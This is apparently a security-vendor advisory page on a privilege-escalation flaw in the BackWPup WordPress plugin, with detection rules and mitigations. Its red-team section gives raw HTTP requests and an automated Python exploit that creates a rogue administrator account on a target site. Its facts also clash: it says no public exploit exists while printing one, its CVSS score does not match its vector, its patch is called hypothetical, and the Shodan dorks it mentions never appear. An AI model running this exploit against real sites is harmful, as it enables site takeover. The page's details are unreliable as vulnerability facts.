CVE-2025-15041
Executive Summary
CVE-2025-15041 is a critical privilege escalation vulnerability in the BackWPup – WordPress Backup & Restore Plugin for WordPress. The flaw resides in the save_site_option() function, which lacks a proper capability check. This allows authenticated attackers with at least Subscriber-level access to update arbitrary WordPress site options. By modifying the default_role option to administrator and enabling user registration, an attacker can create a new administrative user account, effectively gaining full control over the vulnerable WordPress site. The vulnerability affects all versions up to and including 5.6.2. No patch is currently available, and no public exploit code has been released.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
WordPress Ecosystem Context
This vulnerability is specific to the WordPress plugin ecosystem. It is not related to the underlying web server (Apache or Nginx) but rather to a missing authorization check within the plugin's code.
CVSS Breakdown & Threat Level
- CVSS Score: 7.2 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: Low (Subscriber)
- User Interaction: None
- Scope: Unchanged
- Confidentiality Impact: High
- Integrity Impact: High
- Availability Impact: High
Threat Level: High. The low privileges required and the potential for full site compromise make this a critical risk for any WordPress site using the BackWPup plugin.
Deep Dive & Mechanics
The vulnerability is a classic case of Missing Authorization (CWE-862). The save_site_option() function in the BackWPup plugin is intended to allow administrators to save plugin-specific options. However, the function does not perform a current_user_can('manage_options') or similar capability check before processing the request.
An attacker with a valid account (even a Subscriber) can craft a POST request to the vulnerable endpoint. The function accepts a key-value pair, where the key is the option name and the value is the new option value. By setting the key to default_role and the value to administrator, and also enabling user registration (by setting users_can_register to 1), the attacker can then register a new user account that automatically gets assigned the Administrator role.
Attack Flow:
- Attacker logs in with a low-privilege account (e.g., Subscriber).
- Attacker sends a crafted HTTP request to the vulnerable endpoint (e.g.,
/wp-admin/admin-ajax.php?action=backwpup_save_site_option). - The request includes parameters to set
default_roletoadministratorandusers_can_registerto1. - The plugin saves these options without checking if the user has permission.
- Attacker navigates to the WordPress registration page and creates a new account.
- The new account is automatically assigned the Administrator role.
- Attacker logs in as the new Administrator and gains full control.
Vulnerable vs. Patched Code
Vulnerable Code (<= 5.6.2):
public function save_site_option() {
$option_name = sanitize_text_field($_POST['option_name']);
$option_value = sanitize_text_field($_POST['option_value']);
update_site_option($option_name, $option_value);
wp_die();
}
Patched Code (Hypothetical):
public function save_site_option() {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
$option_name = sanitize_text_field($_POST['option_name']);
$option_value = sanitize_text_field($_POST['option_value']);
update_site_option($option_name, $option_value);
wp_die();
}
The patched version adds a capability check (current_user_can('manage_options')) to ensure only administrators can modify site options.
Exploitation & Lab Setup
Red Team (Exploitation)
Prerequisites:
- A WordPress site with BackWPup plugin version <= 5.6.2.
- A valid user account with at least Subscriber role.
Exploitation Steps:
- Obtain a valid session cookie for the low-privilege user.
- Send the following HTTP request to enable user registration and set the default role to Administrator:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=<session_cookie>
action=backwpup_save_site_option&option_name=users_can_register&option_value=1
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target-wordpress-site.com
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_logged_in_<hash>=<session_cookie>
action=backwpup_save_site_option&option_name=default_role&option_value=administrator
- Register a new user by visiting
/wp-login.php?action=registerand filling out the form. - Log in as the new user – they will have Administrator privileges.
Automated Exploit (Python):
import requests
target = "http://target-wordpress-site.com"
session = requests.Session()
session.cookies.set("wordpress_logged_in_<hash>", "<session_cookie>")
# Enable user registration
session.post(f"{target}/wp-admin/admin-ajax.php", data={
"action": "backwpup_save_site_option",
"option_name": "users_can_register",
"option_value": "1"
})
# Set default role to administrator
session.post(f"{target}/wp-admin/admin-ajax.php", data={
"action": "backwpup_save_site_option",
"option_name": "default_role",
"option_value": "administrator"
})
# Register a new admin user
session.post(f"{target}/wp-login.php?action=register", data={
"user_login": "eviladmin",
"user_email": "evil@example.com",
"user_pass": "P@ssw0rd!",
"wp-submit": "Register"
})
print("New admin user created: eviladmin / P@ssw0rd!")
Blue Team (Detection & Hardening)
Detection:
- Monitor for unusual changes to
users_can_registeranddefault_roleoptions. - Alert on
admin-ajax.phprequests withaction=backwpup_save_site_optionfrom non-admin users. - Look for rapid registration of new users followed by privilege escalation.
Hardening:
- Immediately disable or remove the BackWPup plugin if no patch is available.
- Implement a Web Application Firewall (WAF) rule to block requests to
admin-ajax.phpwithaction=backwpup_save_site_optionfrom non-admin IPs. - Restrict user registration to only be enabled via manual admin action.
- Monitor user registration logs for suspicious activity.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/wp-admin/admin-ajax.phpwithaction=backwpup_save_site_optionand parametersoption_name=users_can_registeroroption_name=default_role. - Unusual user registration requests from IPs not associated with normal site traffic.
- HTTP POST requests to
System IOCs:
- The
wp_optionstable in the WordPress database showingusers_can_registerset to1anddefault_roleset toadministrator. - New user accounts with Administrator role created shortly after the option changes.
- The
File IOCs:
- Modified or suspicious entries in the WordPress
wp-config.phpfile (though not directly related to this exploit).
- Modified or suspicious entries in the WordPress
Detection Engineering
YARA Rule
rule CVE_2025_15041_BackWPup_PrivEsc {
meta:
description = "Detects exploitation attempts of CVE-2025-15041 in BackWPup plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-15041"
strings:
$ajax_action = "backwpup_save_site_option"
$option_name = "option_name"
$option_value = "option_value"
$users_register = "users_can_register"
$default_role = "default_role"
condition:
all of them
}
Sigma Rule
title: CVE-2025-15041 BackWPup Privilege Escalation Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests to admin-ajax.php with backwpup_save_site_option action from non-admin users
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
service: access
detection:
selection:
cs-method: POST
cs-uri-query|contains: "action=backwpup_save_site_option"
cs-uri-query|contains|all:
- "option_name"
- "option_value"
condition: selection
falsepositives:
- Legitimate admin actions (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-15041 BackWPup Privilege Escalation Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=backwpup_save_site_option"; http_client_body; content:"option_name"; http_client_body; content:"option_value"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable or remove the BackWPup plugin until a patched version is released.
- Review user accounts for any unauthorized Administrator accounts and remove them.
- Reset all user passwords if compromise is suspected.
- Check the
wp_optionstable for unauthorized changes tousers_can_registeranddefault_role.
Long-term Mitigation:
- Apply the vendor patch as soon as it becomes available.
- Implement a Web Application Firewall (WAF) with rules to block exploitation attempts.
- Enforce the principle of least privilege for all WordPress users.
- Regularly audit plugin permissions and capabilities.
- Monitor for similar vulnerabilities in other plugins.
Workaround:
- If the plugin must remain active, add a custom code snippet to the theme's
functions.phpto override the vulnerable function:
add_action('init', function() {
if (isset($_POST['action']) && $_POST['action'] === 'backwpup_save_site_option') {
if (!current_user_can('manage_options')) {
wp_die('Unauthorized', 403);
}
}
});
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.